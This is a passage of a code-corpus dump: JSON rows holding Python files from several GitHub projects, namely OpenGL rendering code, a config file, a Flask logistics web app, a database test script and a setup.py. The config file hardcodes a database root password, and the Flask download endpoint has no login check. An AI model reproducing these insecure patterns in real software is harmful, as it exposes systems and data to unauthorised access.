camera.stereoMode:\n glColorMask(GL_TRUE, GL_FALSE, GL_FALSE, GL_TRUE) # Red\n cameraPosition(camera, 1)\n drawOrPick(pickMode, obj)\n glClear(GL_DEPTH_BUFFER_BIT)\n glColorMask(GL_FALSE, GL_TRUE, GL_TRUE, GL_TRUE) # Cyan\n cameraPosition(camera, 2)\n drawOrPick(pickMode, obj)\n # To prevent the GUI from overwritting the red model, we need to render it again in the z-buffer\n glColorMask(GL_FALSE, GL_FALSE, GL_FALSE, GL_FALSE) # None, only z-buffer\n cameraPosition(camera, 1)\n drawOrPick(pickMode, obj)\n glColorMask(GL_TRUE, GL_TRUE, GL_TRUE, GL_TRUE) # All\n cameraMode = None\n else:\n if cameraMode != obj.cameraMode:\n cameraPosition(camera, 0)\n cameraMode = obj.cameraMode\n drawOrPick(pickMode, obj)\n\ndef _draw():\n drawBegin()\n drawMeshes(False)\n drawEnd()\n\ndef draw():\n try:\n if profiler.active():\n profiler.accum('_draw()', globals(), locals())\n else:\n _draw()\n except Exception:\n log.error('gl.draw', exc_info=True)\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":606,"cells":{"__id__":{"kind":"number","value":13322988578862,"string":"13,322,988,578,862"},"blob_id":{"kind":"string","value":"d5106133c1dc77bc8c0b8a7c7fd6cbe382f7f1f9"},"directory_id":{"kind":"string","value":"e8a55b712e4a4a042c088dfff9ae03e011a31c24"},"path":{"kind":"string","value":"/config.py"},"content_id":{"kind":"string","value":"9f95e0e641841f8ba3e011314564286da6d930b7"},"detected_licenses":{"kind":"list like","value":["Apache-2.0"],"string":"[\n \"Apache-2.0\"\n]"},"license_type":{"kind":"string","value":"permissive"},"repo_name":{"kind":"string","value":"elataret/lolstatistics"},"repo_url":{"kind":"string","value":"https://github.com/elataret/lolstatistics"},"snapshot_id":{"kind":"string","value":"b44b1aac092feec4e2a63891b8f9cbdd2bba948d"},"revision_id":{"kind":"string","value":"068a1b8875114922c086ae6b55549dad3ec0ea82"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-08-07T03:13:48.898630","string":"2016-08-07T03:13:48.898630"},"revision_date":{"kind":"timestamp","value":"2014-05-23T06:11:28","string":"2014-05-23T06:11:28"},"committer_date":{"kind":"timestamp","value":"2014-05-23T06:11:28","string":"2014-05-23T06:11:28"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/usr/bin/env python\n\nMAX_REQUESTS_PER_10_SECONDS = 10\nMAX_REQUESTS_PER_10_MINUTES = 500\n\nGAMES_TIMEFRAME = 600 # 10 minutes\n\nDB_NAME = 'riotstatistics'\nDB_USER = 'root'\nDB_PASS = 'qwe123'\nDB_HOST = 'localhost'\n\n\"\"\"\n\nOld select query.\n\n\"SELECT c1.`name` as lookChamp, c2.`name` as otherChamps, \\\n round( (count(if(result = 1, result, NULL)) / count(*) * 100), 2) as percentage, \\\n count(*) as games_analyzed\\\nFROM ( \\\n SELECT \\\n case when `championId` = {0} then `championId` \\\n else `enemyChampionId` \\\n end as champ1, \\\n case when `enemyChampionId` = {0} then `championId` \\\n else `enemyChampionId` \\\n end as champ2, \\\n case when `championId` = 412 then `outcome` \\\n else case when `outcome` = 1 then 0 \\\n else 1 \\\n end \\\n end as result \\\n FROM `interactions` WHERE `championId` = {0} OR `enemyChampionId` = {0} \\\n) t1 \\\nLEFT JOIN `champion` c1 ON t1.`champ1` = c1.`champion_id` \\\nLEFT JOIN `champion` c2 ON t1.`champ2` = c2.`champion_id` \\\nGROUP BY otherChamps \\\nORDER BY games_analyzed DESC, percentage DESC\\\nLIMIT 10\".format(champion_name)\n\n\"\"\""},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":607,"cells":{"__id__":{"kind":"number","value":11785390289560,"string":"11,785,390,289,560"},"blob_id":{"kind":"string","value":"2bd7d58ce8ec3090efc53d5a5956cad9c1c3aa9c"},"directory_id":{"kind":"string","value":"d6d11910cb374c5dc4dd7e9acf9fcb625d0ca68d"},"path":{"kind":"string","value":"/sys2do/views/root.py"},"content_id":{"kind":"string","value":"a7f1a5f00d412f1e61d72c2229406bf4a02dd33e"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"LamCiuLoeng/Logistics"},"repo_url":{"kind":"string","value":"https://github.com/LamCiuLoeng/Logistics"},"snapshot_id":{"kind":"string","value":"477df1308b096706724120434787d7cf8f063d52"},"revision_id":{"kind":"string","value":"fbbfc2e58af8d23995d4044808e2a77ea30b6fb8"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-04-05T23:34:05.889528","string":"2020-04-05T23:34:05.889528"},"revision_date":{"kind":"timestamp","value":"2012-11-19T10:12:24","string":"2012-11-19T10:12:24"},"committer_date":{"kind":"timestamp","value":"2012-11-19T10:12:24","string":"2012-11-19T10:12:24"},"github_id":{"kind":"number","value":2640560,"string":"2,640,560"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"# -*- coding: utf-8 -*-\nimport traceback\nimport os\nimport random\nfrom datetime import datetime as dt, timedelta\nfrom flask import g, render_template, flash, session, redirect, url_for, request\nfrom flask.blueprints import Blueprint\nfrom flask.views import View\nfrom flaskext.babel import gettext as _\nfrom sqlalchemy import and_\n\nfrom sys2do import app\nfrom sys2do.model import DBSession, User\nfrom flask.helpers import jsonify, send_file, send_from_directory\nfrom sys2do.util.decorator import templated, login_required, tab_highlight\nfrom sys2do.util.common import _g, _gp, _gl, _info, _error, date2text, _debug\nfrom sys2do.constant import MESSAGE_ERROR, MESSAGE_INFO, MSG_NO_SUCH_ACTION, \\\n MSG_SAVE_SUCC, GOODS_PICKUP, GOODS_SIGNED, OUT_WAREHOUSE, IN_WAREHOUSE, \\\n MSG_RECORD_NOT_EXIST, LOG_GOODS_PICKUPED, LOG_GOODS_SIGNED, MSG_SERVER_ERROR, \\\n SYSTEM_DATE_FORMAT, MSG_WRONG_PASSWORD, MSG_UPDATE_SUCC\nfrom sys2do.views import BasicView\nfrom sys2do.model.master import CustomerProfile, Customer, Supplier, \\\n CustomerTarget, Receiver, CustomerContact, Province, City, Barcode, \\\n CustomerDiquRatio, CustomerSource, InventoryItem\nfrom sys2do.model.logic import OrderHeader, TransferLog, PickupDetail, \\\n DeliverDetail\nfrom sys2do.model.system import UploadFile\nfrom sys2do.setting import UPLOAD_FOLDER_PREFIX\n\n\n\n\n__all__ = ['bpRoot']\n\nbpRoot = Blueprint('bpRoot', __name__)\n\n\nclass RootView(BasicView):\n\n @login_required\n @tab_highlight('TAB_HOME')\n @templated(\"index.html\")\n def index(self):\n # flash('hello!', MESSAGE_INFO)\n # flash('SHIT!', MESSAGE_ERROR)\n# app.logger.debug('A value for debugging')\n# flash(TEST_MSG, MESSAGE_INFO)\n# return send_file('d:/new.png', as_attachment = True)\n return {}\n\n\n @login_required\n @tab_highlight('TAB_MAIN')\n @templated(\"main.html\")\n def main(self):\n return {}\n\n @login_required\n @tab_highlight('TAB_MAIN')\n @templated(\"change_pw.html\")\n def change_pw(self):\n return {}\n\n @login_required\n def save_pw(self):\n old_pw = _g('old_pw')\n new_pw = _g('new_pw')\n new_repw = _g('new_repw')\n\n msg = []\n if not old_pw : msg.push(u'请填写原始密码')\n if not new_pw : msg.push(u'请填写新密码')\n if not new_repw : msg.push(u'请填写确认密码')\n if new_pw != new_repw : msg.push(u'新密码与确认密码不相符!')\n\n if len(msg) > 0 :\n flash(\"\\n\".join(msg), MESSAGE_ERROR)\n return redirect('/change_pw')\n\n user = DBSession.query(User).get(session['user_profile']['id'])\n if not user.validate_password(old_pw):\n flash(u'原始密码错误!', MESSAGE_ERROR)\n return redirect('/change_pw')\n\n user.password = new_pw\n flash(MSG_UPDATE_SUCC, MESSAGE_INFO)\n return redirect('/index')\n\n\n @login_required\n @tab_highlight('TAB_DASHBOARD')\n @templated(\"dashboard.html\")\n def dashboard(self):\n return {}\n\n\n def download(self):\n id = _g(\"id\")\n f = DBSession.query(UploadFile).get(id)\n _debug(f.path)\n\n return send_file(os.path.join(UPLOAD_FOLDER_PREFIX, f.path), as_attachment = True, attachment_filename = f.name)\n\n\n def dispatch_index(self):\n c = session.get('CURRENT_PATH', None)\n if c:\n if c == 'ORDER_INDEX':\n return redirect(url_for(\"bpOrder.view\", action = \"index\"))\n if c == 'DELIVER_INDEX':\n return redirect(url_for(\"bpDeliver.view\", action = \"index\"))\n if c == 'FIN_INDEX':\n return redirect(url_for(\"bpFin.view\", action = \"index\"))\n if c == 'INVENTORY_INDEX':\n return redirect(url_for(\"bpInventory.view\", action = \"index\"))\n else:\n return redirect(url_for(\"bpRoot.view\", action = \"index\"))\n\n\n\n def ajax_master(self):\n master = _g('m')\n if master == 'customer':\n cs = DBSession.query(Customer).filter(and_(Customer.active == 0, Customer.name.like('%%%s%%' % _g('name')))).order_by(Customer.name).all()\n\n data = [{'id' : c.id , 'name' : c.name } for c in cs]\n return jsonify({'code' : 0, 'msg' : '', 'data' : data})\n\n if master == 'customer_detail':\n c = DBSession.query(Customer).get(_g('id'))\n ss = [{'id' : s.id , 'name' : s.name } for s in c.sources]\n ts = [{'id' : t.id , 'name' : t.name } for t in c.targets]\n\n\n return jsonify({'code' : 0 , 'msg' : '' ,\n 'data' : c.populate() ,\n 'sources' : ss,\n 'targets' : ts,\n })\n\n\n if master == 'source':\n ts = DBSession.query(CustomerSource).filter(and_(CustomerSource.active == 0, CustomerSource.customer_id == _g('id')))\n data = [{'id' : c.id , 'name' : c.name } for c in ts]\n return jsonify({'code' : 0, 'msg' : '', 'data' : data})\n\n\n if master == 'source_detail':\n s = DBSession.query(CustomerSource).get(_g('id'))\n data = s.populate()\n\n if s.default_contact() : data['contact'] = s.default_contact().populate()\n else: data['contact'] = {}\n\n cities = []\n if _g('need_city_list', None) == '1' and s.province_id:\n cities = [{'id' : city.id, 'name' : city.name } for city in s.province.children()]\n return jsonify({'code' : 0 , 'msg' : '' , 'data' : data, 'cities' : cities})\n\n\n if master == 'target':\n ts = DBSession.query(CustomerTarget).filter(and_(CustomerTarget.active == 0, CustomerTarget.customer_id == _g('id')))\n\n data = [{'id' : c.id , 'name' : c.name } for c in ts]\n return jsonify({'code' : 0, 'msg' : '', 'data' : data})\n\n if master == 'target_detail':\n t = DBSession.query(CustomerTarget).get(_g('id'))\n data = t.populate()\n if t.default_contact(): data['contact'] = t.default_contact().populate()\n else : data['contact'] = {}\n\n cities = []\n if _g('need_city_list', None) == '1' and t.province_id:\n cities = [{'id' : city.id, 'name' : city.name } for city in t.province.children()]\n\n return jsonify({'code' : 0 , 'msg' : '' , 'data' : data, 'cities' : cities})\n\n\n if master == 'contact_search':\n ts = DBSession.query(CustomerContact).filter(and_(CustomerContact.active == 0,\n CustomerContact.type == _g('type'),\n CustomerContact.refer_id == _g('refer_id'),\n CustomerContact.name.op('like')(\"%%%s%%\" % _g('customer_contact')),\n )).all()\n data = [t.populate() for t in ts]\n return jsonify({'code' : 0 , 'msg' : '' , 'data' : data})\n\n\n if master == 'target_contact_detail':\n try:\n c = DBSession.query(CustomerContact).filter(and_(CustomerContact.active == 0,\n CustomerContact.name == _g('name'),\n )).one()\n return jsonify({'code' : 0 , 'data' : c.populate()})\n except:\n return jsonify({'code' : 0 , 'data' : {}})\n\n\n if master == 'supplier':\n cs = DBSession.query(Supplier).filter(Supplier.active == 0).order_by(Supplier.name).all()\n return jsonify({'code' : 0, 'msg' : '', 'data' : cs})\n\n if master == 'supplier_detail':\n t = DBSession.query(Supplier).get(_g('id'))\n return jsonify({'code' : 0 , 'msg' : '' , 'data' : t.populate()})\n\n if master == 'receiver_detail':\n t = DBSession.query(Receiver).get(_g('id'))\n return jsonify({'code' : 0 , 'msg' : '' , 'data' : t.populate()})\n\n if master == 'province':\n ps = DBSession.query(Province).filter(and_(Province.active == 0)).order_by(Province.name)\n data = [{'id' : p.id, 'name' : p.name } for p in ps]\n return jsonify({'code' : 0 , 'msg' : '' , 'data' : data})\n\n if master == 'province_city':\n cs = DBSession.query(City).filter(and_(City.active == 0, City.parent_code == Province.code, Province.id == _g('pid'))).order_by(City.name)\n data = [{'id' : c.id, 'name' : c.name } for c in cs]\n return jsonify({'code' : 0 , 'msg' : '' , 'data' : data})\n\n if master == 'inventory_item':\n t = DBSession.query(InventoryItem).get(_g('id'))\n return jsonify({'code' : 0 , 'msg' : '' , 'data' : t.populate()})\n\n return jsonify({'code' : 1, 'msg' : 'Error', })\n\n\n\n def _compose_xml_result(self, params):\n xml = []\n xml.append('')\n xml.append('')\n xml.append('%s' % params['no'])\n xml.append('%s' % params['source_station'])\n xml.append('%s' % params['source_company'])\n xml.append('%s' % params['destination_station'])\n xml.append('%s' % params['destination_company'])\n xml.append('%s' % params['status'])\n xml.append('')\n rv = app.make_response(\"\".join(xml))\n rv.mimetype = 'text/xml'\n return rv\n\n def _compose_xml_response(self, code):\n xml = []\n xml.append('')\n xml.append('%s' % code)\n rv = app.make_response(\"\".join(xml))\n rv.mimetype = 'text/xml'\n return rv\n\n\n def hh(self):\n type = _g('type')\n barcode = _g('barcode')\n\n if type == 'search':\n try:\n b = DBSession.query(Barcode).filter(and_(Barcode.active == 0, Barcode.value == barcode)).one()\n\n if b.status == 0 : # the barcode is used in a order\n try:\n h = DBSession.query(OrderHeader).filter(OrderHeader.no == barcode).one()\n params = {\n 'no' : h.ref_no,\n 'source_station' : h.source_province,\n 'source_company' : h.source_company,\n 'destination_station' : h.destination_province,\n 'destination_company' : h.destination_company,\n 'status' : h.status,\n }\n except:\n _error(traceback.print_exc())\n params = {\n 'no' : unicode(MSG_RECORD_NOT_EXIST),\n 'source_station' : '',\n 'source_company' : '',\n 'destination_station' : '',\n 'destination_company' : '',\n 'status' : ''\n }\n elif b.status == 1 : # the barcode is reserved ,could be created a new order\n params = {\n 'no' : 'BARCODE_AVAILABLE',\n 'source_station' : '',\n 'source_company' : '',\n 'destination_station' : '',\n 'destination_company' : '',\n 'status' : '-2'\n }\n else: # the barcode is cancel ,equal not existed\n params = {\n 'no' : unicode(MSG_RECORD_NOT_EXIST),\n 'source_station' : '',\n 'source_company' : '',\n 'destination_station' : '',\n 'destination_company' : '',\n 'status' : ''\n }\n\n except:\n _error(traceback.print_exc())\n params = {\n 'no' : unicode(MSG_RECORD_NOT_EXIST),\n 'source_station' : '',\n 'source_company' : '',\n 'destination_station' : '',\n 'destination_company' : '',\n 'status' : ''\n }\n\n return self._compose_xml_result(params)\n elif type == 'submit':\n try:\n action_type = _g('action_type')\n action_type = int(action_type)\n\n # create a draft order by the handheld\n if action_type == -2:\n no = _g('barcode')\n ref_no = _g('orderno')\n\n b = Barcode.getOrCreate(no, ref_no, status = 0)\n try:\n DBSession.add(OrderHeader(no = no, ref_no = ref_no, status = -2))\n b.status = 0\n DBSession.commit()\n return self._compose_xml_response(0)\n except:\n DBSession.rollback()\n _error(traceback.print_exc())\n return self._compose_xml_response(1)\n\n h = DBSession.query(OrderHeader).filter(OrderHeader.no == barcode).one()\n h.update_status(action_type)\n\n if action_type == IN_WAREHOUSE[0]:\n remark = (u'订单: %s 确认入仓。备注:' % h.ref_no) + (_g('remark') or '')\n elif action_type == OUT_WAREHOUSE[0]:\n remark = (u'订单: %s 确认出仓。备注:' % h.ref_no) + (_g('remark') or '')\n elif action_type == GOODS_SIGNED[0]:\n remark = LOG_GOODS_SIGNED + (u'签收人:%s , 签收人电话:%s , 签收时间:%s' % (_g('contact'), _g('tel') or '', _g('time'))),\n h.signed_time = _g('time')\n h.signed_remark = _g('remark')\n h.signed_contact = _g('contact')\n h.signed_tel = _g('tel')\n elif action_type == GOODS_PICKUP[0]:\n remark = LOG_GOODS_PICKUPED + (u'提货人: %s, 提货数量: %s , 备注:%s' % (_g('contact'), _g('qty'), (_g('remark') or ''))),\n params = {\n 'action_time' : _g('time'),\n 'contact' : _g('contact'),\n 'qty' : _g('qty'),\n 'tel' : _g('tel'),\n 'remark' : _g('remark'),\n }\n obj = PickupDetail(header = h, **params)\n DBSession.add(obj)\n\n DBSession.add(TransferLog(\n refer_id = h.id,\n transfer_date = _g('time'),\n type = 0,\n remark = remark,\n ))\n DBSession.commit()\n return self._compose_xml_response(0)\n except:\n return self._compose_xml_response(1)\n else:\n return self._compose_xml_response(MSG_NO_SUCH_ACTION)\n\n\n def sms(self):\n _info(request.values)\n return 'OK'\n\n\n def ajax_check_barcode(self):\n value = _g('value')\n (code, status) = Barcode.check(value)\n\n return jsonify({'code' : code, 'status' : status})\n\n\n def compute_by_diqu(self):\n province_id = _g('province_id')\n city_id = _g('city_id')\n customer_id = _g('customer_id')\n\n # count the ratio\n ratio_result = self._compute_ratio(customer_id, province_id, city_id)\n # count the day\n day_result = self._compute_day(province_id, city_id)\n\n ratio_result.update(day_result)\n ratio_result.update({'code' : 0})\n return jsonify(ratio_result)\n\n\n def _compute_day(self, province_id, city_id):\n estimate_day = ''\n if city_id:\n c = DBSession.query(City).get(city_id)\n if c.shixiao:\n estimate_day = (dt.now() + timedelta(days = c.shixiao)).strftime(SYSTEM_DATE_FORMAT)\n else:\n p = DBSession.query(Province).get(province_id)\n if p.shixiao:\n estimate_day = (dt.now() + timedelta(days = p.shixiao)).strftime(SYSTEM_DATE_FORMAT)\n elif province_id:\n p = DBSession.query(Province).get(province_id)\n if p.shixiao:\n estimate_day = (dt.now() + timedelta(days = p.shixiao)).strftime(SYSTEM_DATE_FORMAT)\n return {'day' : estimate_day}\n\n\n\n def _compute_ratio(self, customer_id, province_id, city_id):\n qty_ratio = ''\n weight_ratio = ''\n vol_ratio = ''\n\n q1 = DBSession.query(CustomerDiquRatio).filter(and_(CustomerDiquRatio.active == 0,\n CustomerDiquRatio.customer_id == customer_id,\n CustomerDiquRatio.province_id == province_id,\n CustomerDiquRatio.city_id == city_id,\n ))\n\n if q1.count() == 1:\n t = q1.one()\n qty_ratio, weight_ratio, vol_ratio = t.qty_ratio, t.weight_ratio, t.vol_ratio\n else:\n q2 = DBSession.query(CustomerDiquRatio).filter(and_(CustomerDiquRatio.active == 0,\n CustomerDiquRatio.customer_id == customer_id,\n CustomerDiquRatio.province_id == province_id,\n CustomerDiquRatio.city_id == None,\n ))\n if q2.count() == 1:\n t = q2.one()\n qty_ratio, weight_ratio, vol_ratio = t.qty_ratio, t.weight_ratio, t.vol_ratio\n else:\n q3 = DBSession.query(City).filter(and_(City.active == 0, City.id == city_id))\n if q3.count() == 1:\n t = q3.one()\n qty_ratio, weight_ratio, vol_ratio = t.qty_ratio, t.weight_ratio, t.vol_ratio\n else:\n q4 = DBSession.query(Province).filter(and_(Province.active == 0, Province.id == province_id))\n if q4.count() == 1:\n t = q4.one()\n qty_ratio, weight_ratio, vol_ratio = t.qty_ratio, t.weight_ratio, t.vol_ratio\n\n# try:\n# t = DBSession.query(CustomerDiquRatio).filter(and_(CustomerDiquRatio.active == 0,\n# CustomerDiquRatio.customer_id == customer_id,\n# CustomerDiquRatio.province_id == province_id,\n# CustomerDiquRatio.city_id == city_id,\n# )).one()\n# qty_ratio, weight_ratio, vol_ratio = t.qty_ratio, t.weight_ratio, t.vol_ratio\n# except:\n# try:\n# t = DBSession.query(CustomerDiquRatio).filter(and_(CustomerDiquRatio.active == 0,\n# CustomerDiquRatio.customer_id == customer_id,\n# CustomerDiquRatio.province_id == province_id,\n# CustomerDiquRatio.city_id == None,\n# )).one()\n# qty_ratio, weight_ratio, vol_ratio = t.qty_ratio, t.weight_ratio, t.vol_ratio\n# except:\n# try:\n# c = DBSession.query(City).filter(and_(City.active == 0, City.id == city_id)).one()\n# qty_ratio, weight_ratio, vol_ratio = c.qty_ratio, c.weight_ratio, c.vol_ratio\n# except:\n# try:\n# p = DBSession.query(Province).filter(and_(Province.active == 0, Province.id == province_id)).one()\n# qty_ratio, weight_ratio, vol_ratio = p.qty_ratio, p.weight_ratio, p.vol_ratio\n# except: pass\n\n return {'qty_ratio' : qty_ratio, 'weight_ratio' : weight_ratio, 'vol_ratio' : vol_ratio}\n\n\n\n def ajax_order_info(self):\n ref_no = _g('order_no')\n try:\n header = DBSession.query(OrderHeader).filter(and_(OrderHeader.active == 0, OrderHeader.ref_no == ref_no)).one()\n logs = []\n logs.extend(header.get_logs())\n try:\n deliver_detail = DBSession.query(DeliverDetail).filter(and_(DeliverDetail.active == 0, DeliverDetail.order_header_id == header.id)).one()\n deliver_heaer = deliver_detail.header\n logs.extend(deliver_heaer.get_logs())\n except:\n pass\n logs = sorted(logs, cmp = lambda x, y: cmp(x.transfer_date, y.transfer_date))\n\n return jsonify({'code' : 0 , 'msg' : '', 'data' : {\n 'no' : header.no,\n 'ref_no' :header.ref_no,\n 'status' : header.status,\n 'source_company' : unicode(header.source_company),\n 'source_province' : unicode(header.source_province),\n 'source_city' : unicode(header.source_city) or '',\n 'source_address' : header.source_address or '',\n 'source_contact' : header.source_contact or '',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'source_tel' : header.source_tel or '',\n 'destination_company' : unicode(header.destination_company),\n 'destination_province' : unicode(header.destination_province),\n 'destination_city' : unicode(header.destination_city) or '',\n 'destination_address' : header.destination_address or '',\n 'destination_contact' : header.destination_contact or '',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'destination_tel' : header.destination_tel or '',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'qty' : header.qty or '',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'weight' : header.weight or '',\n 'create_time' : date2text(header.create_time),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'expect_time' : header.expect_time or '',\n 'actual_time' : header.actual_time or '',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'signed_contact' : header.signed_contact or '',\n 'logs' : [{\n 'transfer_date' : l.transfer_date,\n 'remark' : l.remark,\n } for l in logs]\n }})\n\n except:\n _error(traceback.print_exc())\n return jsonify({'code' : 1, 'msg' : MSG_RECORD_NOT_EXIST})\n\n\nbpRoot.add_url_rule('/', view_func = RootView.as_view('view'), defaults = {'action':'index'})\nbpRoot.add_url_rule('/', view_func = RootView.as_view('view'))\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2012,"string":"2,012"}}},{"rowIdx":608,"cells":{"__id__":{"kind":"number","value":10153302713142,"string":"10,153,302,713,142"},"blob_id":{"kind":"string","value":"11add180a65d5061e3e8ef05b327a648f3c216f8"},"directory_id":{"kind":"string","value":"aa978a838d16fd6432221fa96b00861e322bdce7"},"path":{"kind":"string","value":"/Vigilert/Tests/Niladri/bounded_identifiers.py"},"content_id":{"kind":"string","value":"ce91b8c11cc8c43150bce64044b20fd7bb2d7922"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"aevernon/triggerman"},"repo_url":{"kind":"string","value":"https://github.com/aevernon/triggerman"},"snapshot_id":{"kind":"string","value":"996844f433ccfd9bdd815d5746a5b45ba3421794"},"revision_id":{"kind":"string","value":"11ba7fd89b308ab09541177ddc47d1af605a1355"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-05T22:34:19.429543","string":"2016-09-05T22:34:19.429543"},"revision_date":{"kind":"timestamp","value":"2009-11-15T22:05:26","string":"2009-11-15T22:05:26"},"committer_date":{"kind":"timestamp","value":"2009-11-15T22:05:26","string":"2009-11-15T22:05:26"},"github_id":{"kind":"number","value":374044,"string":"374,044"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#==================================================================================================\r\n# bounded_identifiers.py\r\n# \r\n# This script tests how the system handles bounded identifiers.\r\n#\r\n# Author: Niladri Batabyal\r\n#==================================================================================================\r\nfrom PyVAPI.vl import *\r\n\r\n\r\ntl(\"echo ''\")\r\ntl(\"echo 'TEST THE FUNCTIONALITY OF BOUNDED IDENTIFIERS.'\")\r\ntl(\"echo ''\")\r\n\r\n# Test tables and data sources\r\ntl(\"echo 'First test whether a bounded identifier with uppercase characters is differentiated from a normal identifier'\")\r\n\r\nsql('create table \"NILADRI\" (x int)')\r\nsql('create table NILADRI (x int)')\r\nsql('create table \"NiLaDrI\" (x int)')\r\n\r\ntl(\"echo 'The following table should not be created'\")\r\nsql('create table \"niladri\" (x int)')\r\n\r\ntl(\"echo 'Now make sure that the data sources are created on the correct tables'\")\r\ntl('create data source NILADRI')\r\ntl('create data source {NILADRI}')\r\ntl('create data source {NiLaDrI}')\r\n\r\ntl(\"echo 'The following data sources should not be created'\")\r\ntl('create data source niladri')\r\ntl('create data source {niladri}')\r\ntl('create data source NiLaDrI')\r\n\r\n# drop all tables and data sources \r\nsql('drop table \"NILADRI\"')\r\nsql('drop table \"NiLaDrI\"')\r\nsql('drop table niladri')\r\ntl('drop data source {NILADRI}')\r\ntl('drop data source niladri')\r\ntl('drop data source {NiLaDrI}')\r\n\r\ntl(\"echo 'There should be an error that results when the following data source is dropped.'\")\r\ntl('drop data source NILADRI')\r\n\r\n# Now test triggers and attributes\r\nsql('create table \r\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2009,"string":"2,009"}}},{"rowIdx":609,"cells":{"__id__":{"kind":"number","value":18262200969106,"string":"18,262,200,969,106"},"blob_id":{"kind":"string","value":"f34ee344c48cd6f14b9fffc8ff73e0d4974aa51a"},"directory_id":{"kind":"string","value":"42ec40f33341e723a9183194b4caa8a8a0a88fa2"},"path":{"kind":"string","value":"/setup.py"},"content_id":{"kind":"string","value":"0b22db024568f3213e07c74f9a68d9fe6b38e688"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"marselester/django-todo"},"repo_url":{"kind":"string","value":"https://github.com/marselester/django-todo"},"snapshot_id":{"kind":"string","value":"4dbde7c2f7351be0e50c4cf1b065befbab4ba2b5"},"revision_id":{"kind":"string","value":"60ca905708cafb6beb3ae3315ccfccd1828a78d2"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-06T07:36:36.780134","string":"2016-09-06T07:36:36.780134"},"revision_date":{"kind":"timestamp","value":"2012-05-14T08:51:04","string":"2012-05-14T08:51:04"},"committer_date":{"kind":"timestamp","value":"2012-05-14T08:51:04","string":"2012-05-14T08:51:04"},"github_id":{"kind":"number","value":4442698,"string":"4,442,698"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":1,"string":"1"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/usr/bin/env python\nfrom distutils.core import setup\n\nsetup(\n name='django-todo',\n version='0.1dev',\n long_description=open('README.rst').read(),\n author='marselester',\n author_email='marselester@ya.ru',\n packages=[\n 'todo',\n 'todo.templatetags',\n ],\n include_package_data=True,\n install_requires=[\n 'django-model-utils',\n 'pytils',\n 